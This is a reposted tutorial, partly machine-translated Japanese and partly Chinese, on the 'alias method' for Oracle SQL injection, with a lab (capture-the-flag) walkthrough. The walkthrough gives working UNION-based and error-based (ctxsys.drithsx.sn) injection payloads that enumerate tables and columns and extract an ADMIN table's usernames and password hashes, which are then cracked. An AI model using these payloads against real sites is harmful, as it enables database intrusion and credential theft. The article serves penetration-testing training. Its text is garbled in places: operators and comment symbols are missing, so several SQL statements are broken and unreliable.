ホームページ  >  記事  >  データベース  >  Oracleデータベースインジェクションにおけるエイリアスメソッドの使用の詳細な例

Oracleデータベースインジェクションにおけるエイリアスメソッドの使用の詳細な例

WBOY
WBOY転載
2022-05-07 11:52:542261ブラウズ

この記事では、Oracle に関する関連知識を提供します。主に、Oracle クエリ情報の基本的なステートメントを含む、Oracle データベース インジェクションにおけるエイリアス メソッドの使用方法の詳細な説明を紹介します。rownum を見てみましょう。特徴など、皆様のお役に立てれば幸いです。

Oracleデータベースインジェクションにおけるエイリアスメソッドの使用の詳細な例

推奨チュートリアル: 「Oracle ビデオ チュートリアル

1. Oracle データベースの概要

Oracle Database。Oracle RDBMS、または略して Oracle とも呼ばれます。このデータベースはオラクル社の製品であり、強力な機能と複雑な操作を備えており、無料で利用できますが、サービスは有料であり、現在、中国の銀行、金融機関、外資系企業などの大企業で一般的に利用されています。ビッグデータ産業。

Oracle の機能の概要:
1. Oracle はクエリ言語を使用して情報を取得するときにテーブル名に従う必要があります。これは Access に似ています。テーブルがない場合は、デュアル テーブルを使用できます。 Dual は Oracle の仮想テーブルです。select の形成に使用される文法規則です。Oracle は、dual には常に 1 つのレコードのみが存在することを保証します。直接クエリすると、Union などのデータをクエリする場合、対応する位置のデータ型のみが表示されます。テーブル内の列のデータ型と一致している必要があります。すぐに推測できないデータ型の位置を NULL を使用して置き換えることもできます。これは SQL Server と同様です。 3. Oracle は mysql とは異なります。ページングに制限はありませんが、ページングの実装には 3 層のクエリ ネストが使用されます; 4. Oracle の単一行のコメント シンボルは複数行のコメント シンボルです;
5. Oracle データベースには次のものが含まれますこれらのシステム テーブルには、user_tab_columns、all_tab_columns、all_tables、user_tables など、システム データベースのテーブル名と列名が格納されます。システム テーブルには、ユーザーのすべてのテーブルと列名が格納されます。ここで、table_name はシステム テーブル名を表し、column_name はシステムに存在する列名;
6. Oracle はスプライシング文字列 (URL 内のエンコーディングを使用して表現) を使用し、関数は 2 つの文字列のスプライシングも実現できます;
7. Oracle では、ライブラリは弱体化され、ユーザーが強化されていますが、この区別は主にユーザーに基づいています。単純に理解すると、現在のユーザー名は他のデータベースのライブラリ名と同等であるということになります。


2. エイリアス方法の紹介

(1) Oracle クエリ情報の基本ステートメント

select * from all_tables クエリall Table
select * from user_tables 現在のユーザーのすべてのテーブルをクエリします
select * from all_tab_columns すべてのフィールドをクエリします
select * from user_tab_columns 現在のユーザーのフィールドを問い合わせます
select * from v$version 現在使用している Oracle のバージョンを確認します

(2) Rownum の特性

Oracle の制限内に存在するため、特定のデータをクエリするには rownum を選択する必要があります。たとえば、最初に次のように入力します。


select * from all_tables
Oracleデータベースインジェクションにおけるエイリアスメソッドの使用の詳細な例 このページでは大量のデータが出力されていますが、そのほとんどは必要なものではないため、最初の 4 つのデータが必要な場合は、ステートメントを次のように変更します。

select * from all_tables where rownum
Oracleデータベースインジェクションにおけるエイリアスメソッドの使用の詳細な例 次に、次のように仮定します。 2 番目のデータのみが必要なので、「where rownum=2?」と入力できます。できません。これは、rownum がテーブルのフィールド名ではなく、クエリ結果の行番号であるためで、クエリに結果があるたびに、最初の行、2 行目、3 行目などがデフォルトになります。このrownumは行番号であり、特定のフィールドに属していないため、rownumは常に1から始まる疑似例であり、rownum>n、n>1の場合は条件が成立しません。この状況では、不等式法とエイリアス法という 2 つの方法を使用できます。
クエリ ステートメントを使用する場合、テーブルの最初の n レコードまたは中間のレコードを返すように要求することがよくあります。たとえば、大きなテーブル (データが 1W 個あると仮定) では、1000 件のレコードをクエリする必要があります。 1005まで。このような問い合わせに直面した場合、私たちは何をすべきでしょうか?各データベースには独自の解決策があります。たとえば、mysql では、結果のページングに limit コマンドが使用され、MSSQL では、結果のページングに TOP が使用され、Oracle では主に rownum コマンドを使用してこの問題を解決しています。 oracleで指定したデータを出力する方法を見てみましょう。

(3) 等しくない方法

オンライン Oracle ドリル プラットフォームに次のコマンドを入力します (現在のユーザーのすべてのフィールドをクエリします):
select* from user_tab_columns
Oracleデータベースインジェクションにおけるエイリアスメソッドの使用の詳細な例
結果には、現在のテーブルと対応するフィールド名がすべて表示されます。ADMIN テーブルの内容のみを表示したい場合は、次のように入力します:
select* from user_tab_columns where table_name= 'ADMIN'
Oracleデータベースインジェクションにおけるエイリアスメソッドの使用の詳細な例
2 番目のデータのみを表示したい場合は、どのように入力すればよいですか?条件 rownum=2 を直接追加することは明らかに不可能です。ここでは、不等式メソッドを使用してクエリを実行できます:
select* from user_tab_columns where table_name='ADMIN' and COLUMN_NAMEUNAME
Oracleデータベースインジェクションにおけるエイリアスメソッドの使用の詳細な例
ここから、不等式法にはデータ量が非常に少ない場合にのみ使用できる欠点があることもわかります。データ量が非常に大きい場合には、以下に紹介するエイリアシング方法を使用する必要があります。

(4) エイリアス メソッド

次のステートメントを見てみましょう:
select column_name,rownum n from user_tab_columns
Oracleデータベースインジェクションにおけるエイリアスメソッドの使用の詳細な例# この文 カラム名クエリを実行すると、クエリ結果は上から順に1から番号が振られます。 ただし、rownum自体はフィールドではないため、ここでは別名をnとします。このように、このクエリ ステートメントの機能は、列名と各列名に対応する行番号をクエリし、行番号を n フィールドに一律に格納することです。
この時点では行番号を格納する新しいフィールド n を作成しましたが、直後に where n=7 などの条件を追加すると機能しないことに注意してください。このステートメントは n の前に実行する必要があるためです。このフィールドは、n フィールドを使用して情報をクエリする場合、このステートメント全体を他のステートメントのサブクエリに入れる必要があります。このようにして、文が実行された後、n フィールドが存在します。フィールドに追加すると、他の文で使用できるようになります。
次に、最初に ADMIN テーブルのフィールドをクエリします。次のように入力します。

select column_name,rownum n from user_tab_columns where table_name='ADMIN'
Oracleデータベースインジェクションにおけるエイリアスメソッドの使用の詳細な例 ここにクエリ結果は 2 つのフィールド名を取得します。行番号は取得したエイリアス n なので、最初のフィールドは実際のフィールド名で、2 番目のフィールドは取得したエイリアス n です。
たとえば、サブクエリの結果は次のようになります:

フィールド名行番号aa1bb2cc 3dd#4

次に、次のように入力します:
select * from subquery where n=2, you can get the data bb. 同様に、どのデータが必要かについては、n を対応する数値に等しくするだけです。
したがって、この文がサブクエリとして記述されており、外部クエリ ステートメントを使用してこのサブクエリの結果をクエリする限り、n=2 と設定して 2 番目のフィールドを取得できるため、次のように入力します。
select * from (select column_name,rownum n from user_tab_columns where table_name='ADMIN')where n=2
Oracleデータベースインジェクションにおけるエイリアスメソッドの使用の詳細な例
2 番目のフィールドのクエリが正常に実行されました。
注: エイリアス メソッドを使用して rownum n に名前を付ける場合、標準的な書き方は rownum as n です。より簡潔にするには、単に rownum n をスペースで区切ります。
フィールドをクエリするときにエイリアス メソッドを使用できますが、テーブル名をクエリするときにも使用できますか?答えは「はい」です。
例:
select table_name,rownum n from user_tables
Oracleデータベースインジェクションにおけるエイリアスメソッドの使用の詳細な例
テーブルのエイリアス化はフィールドのエイリアス化と同じであり、使用法は次のとおりであることがわかります。実際は似ていますが、ここでは詳しく説明しません。


3. 射撃場での実践操作

上記はあくまでも理論的なもので、実際の操作ではそう簡単ではありません。実際の動作範囲を確認してください。
Fengshentai を例に挙げます。アドレスは http://o1.lab.aqlab.cn/?id=1

(1) SQL インジェクション

が射撃に入るかどうかを判断します。範囲、アドレス バーに GET パラメーターがあることを確認して、もちろん、最初に SQL 入力があるかどうかを確認してみます。 # および 1=2、ページ エコーは異常です。
id=1 を id=2-1 に変更すると、ページ エコーは正常になります。
これは、SQL インジェクションが必要であることを意味します。


(2) 現在のページのフィールド数を問い合わせる

実際の戦闘では、対象の Web サイトがどのようなデータベースであるかわかりませんので、なぜそんなに面倒なことをして、MYSQL として扱う必要があるので、ここでは最初にフィールドの数をクエリします:

Enter

order by 1

, ページ エコーは正常です;
Enter order by 5、ページのエコーは異常です;
order by 4、ページのエコーは正常です;
order by 5、ページのエコーを入力してくださいエコーが異常です。
現在のページのフィールドの数が 4 であることを示します。 (3) ジョイント クエリを試してください

id=1 の後に入力してください:

union all select 1,2,3,4

ページが異常にエコーします。データベースは明らかに mysql ではないようなので、数値を null に変更してみてください:

union all select null,null,null,null from dual
ページ エコーは正常です。ターゲット データベースには非常に厳密な文法要件があるようです。次に、4 つのフィールドのデータ型を確認しましょう。

union all select 111,null,null,null from dual
と入力します。ページは通常の結果を返し、最初のフィールドが数値型であることを示します。 ctrl u を押して Web ページのソース コードを表示し、111 を検索します。明らかな位置ずれはありません。

現在のページでエラーが報告されるようにして、表示のずれがあるかどうかを確認します。

and 1=2 union all select 111,null,null,null from dual
明らかな表示のずれは見られません。
入力を続けます:
and 1=2 union all select 111,111,null,null from dual

ページは、2 番目のフィールドが数値型ではないことを示す例外を返します。
入力を続けます:

and 1=2 union all select 111,'aa',null,null from dual

ページは、2 番目のフィールドが文字列型ではないことを示す例外を返します。
実はOracleデータベースには数値、文字列、日付、バイナリ、大きなテキストなど多くのデータ型があり、さらに細分化された型もいくつかありますが、一つ一つ試すのはかなり面倒なので省略させていただきます。ここ。

3 番目のフィールドも同様で、数値でも文字列でもないことがわかり、明らかなずれはありません。

4 番目のフィールドのクエリを続けます:

and 1=2 union all select 111,null,null,111111 from dual

ページに新しい時間が表示されていることがわかります。

このような時刻を見たときは、タイムスタンプについて考える必要があります。コンピューターは 1970 年 1 月 1 日の 8 時から秒のカウントを開始するためです。

(4) クエリ テーブル名

エラー挿入関数を使用して情報をクエリするには、次のように入力します。

and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))

注: エラー挿入は、テーブルではなく文字列のみを返すことができます。したがって、最後には rownum=1 という制限があり、データは 1 行だけ取​​得されます。また、関数の大括弧内の 1 は、数値または文字列のいずれかに置き換えることができます。 。

テーブル名を取得します
ADMIN
続けて入力します:

and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name'ADMIN'))

2 番目のテーブル名を取得します ## #ニュース###。 次に、他のテーブルにクエリを実行する場合は、引き続き不等式メソッドを使用することはできません。代わりに、上記のエイリアス メソッドを使用して基本的なステートメントを構築し、n の値を変更してテーブルの名前を決定する必要があります。まだクエリされていません:

and 1=ctxsys.drithsx.sn(1,(select table_name from (select table_name,rownum n from user_tables )where n =3))

現在のユーザーを決定するための最終テーブルは次のとおりです: ADMIN、NEWS、MD5

(五)查询字段名

接下来查询字段,ADMIN表显然更可能有我们想要查询的信息,因此先查询ADMIN表的内容,输入:

and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=1))


得到第一个字段名为:UNAME
把n改为2继续输入:

and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=2))


得到第二个字段为UPASS
把n改为3,继续输入:

and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=3))


得到第三个字段为MD5
把n改为4,继续输入:

and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=4))

没有结果了。可见ADMIN表中的字段为:UNAME、UPASS、MD5

(六)根据字段查询具体数据

字段和表名都有了,接下来查询具体的数据,为了方便,还是用别名法来查询:

and 1=ctxsys.drithsx.sn(1,(select UNAME from (select UNAME,rownum as n from ADMIN) where n=1))

注意报错函数的特殊性,因此这里不能用*来代替UNAME。
通过改变n的值可以得到UNAME中的全部用户名为:OCI、NF、QQ123。
用同样的方法继续查询UPASS字段的内容,输入:

and 1=ctxsys.drithsx.sn(1,(select UPASS from (select UPASS,rownum as n from ADMIN) where n=1))

改变n的值可以得到UPASS字段的三条记录分别为:
e10adc3949ba59abbe56e057f20f883e
2a61f8bcfe7535eadcfa69eb4406ceb9
654321
在cmd5.com中解密后结果分别为:
123456、未查到、654321

(七)提交flag

把每个md5值都提交到靶场,最终确定flag为:
2a61f8bcfe7535eadcfa69eb4406ceb9


四、小结

渗透测试人员在进行数据库注入时,总是会遇到查询指定数据的问题,对于不同的数据库虽然查询方法大同小异,但是很多细节如果没有搞好是很难完成渗透的,这就需要每一位渗透测试人员夯实理论基础,掌握每一种常用的方法,在面临实际问题的时候才能游刃有余。

本文重点介绍了Oracle数据库的特点以及注入时常用的别名法,分享了别名法在靶场中实操的过程,并分享了一个在线执行Oracle命令的平台希望能够为各位同行或爱好者解决相关问题提供参考。

推荐教程:《Oracle视频教程

以上がOracleデータベースインジェクションにおけるエイリアスメソッドの使用の詳細な例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はcsdn.netで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。